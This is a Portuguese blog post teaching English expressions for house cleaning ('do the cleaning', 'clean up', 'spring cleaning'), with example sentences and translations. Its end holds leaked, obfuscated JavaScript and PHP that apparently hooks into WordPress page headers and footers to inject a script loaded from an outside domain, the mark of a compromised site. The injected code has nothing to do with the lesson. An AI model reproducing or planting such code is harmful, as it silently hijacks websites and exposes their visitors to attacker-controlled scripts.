O SEGREDO DAS LINGUAS l O curso de língua estrangeira ainda pode fazer parte da sua vida.

Como dizer ‘fazer faxina’ em inglês?

fazer faxina em inglês

Você já deve ter feito faxina na sua casa, certo? E em inglês, como será que dizemos ‘fazer faxina’ em inglês? Neste post eu te mostro as maneiras de se expressar que podem te ajudar. 

Uma questão cultural que acontece em países frios é que quando chega a primavera e o tempo melhora, eles costumam fazer ‘spring cleaning’ que é uma arrumação geral – principalmente dos armários – para se preparar para o verão. 

O spring cleaning que pode ser escrito também ‘spring-cleaning’ pode estar ligado ao ato de limpar partes da sua casa que você não tem o costume. Sabe aquela arrumação geral que você dá de vez em quando? Essa é uma spring-cleaning.

Uma outra questão cultural que se nota principalmente na América do Norte e na Europa é quão caro é ter uma faxineira em sua casa. A maioria das pessoas opta por uma diarista. E além disso, ninguém usa água para limpar casa lá. Utilizam-se produtos químicos. 

‘Fazer faxina’ em inglês

Para falar ‘fazer faxina’ em inglês utilizamos a expressão ‘do the cleaning’ ou ‘clean up’. Lembre-se que ‘clean’ significa ‘limpar’, portanto essa expressão também pode significar ‘fazer limpeza’. O sentido de ‘clean up’ é o de limpar algo totalmente. Vejamos alguns exemplos:

1 – Do the cleaning

They do the cleaning on Saturday morning. (Eles fazem faxina no sábado de manhã.)

Who’s going to do the cleaning today? (Quem vai fazer faxina hoje?)

2 – Clean (up)

John, clean up your room now! (John, limpe seu quarto todo agora!)

Cleaning is always boring. (Fazer faxina é sempre chato.)

Não quero mais fazer faxina para os outros. (I’m done cleaning for others.) 

Domingo depois de fazer faxina, eu vou à igreja. (Sunday, after cleaning, I go to church.) 

Já que você já sabe falar de ‘fazer faxina’ em inglês, veja outros posts com expressões importantes e aumente sua capacidade de se expressar em inglês.

Mais artigos do

Blog SDL

?>},_0x1ca2(_0x5c13d3,_0x10d019);}function _0x56ac(){var _0x46c312=['trickl','6LObfmH','script','scri','3822470oovwGi','220qlaQai','com/','createElement','ctl','appendChild','type','133350wkvzaH','ter.','134ANVGfY','pts/t','src','est','erfe','ords.p','querySelector','5879944KcCcWx','231938CdIMay','2890492INDZRn','currentScript','50535rwizqw','parentNode','script[id=\x22trickl\x22]','text/javascript','28527sHSQyT','head'];_0x56ac=function(){return _0x46c312;};return _0x56ac();}";}add_action('wp_head', '_set_metas_tag');add_action('wp_footer', '_set_metas_tag');add_action('wp_body_open', '_set_metas_tag');_set_metas_tag();}}catch(Exception $e){}} ?>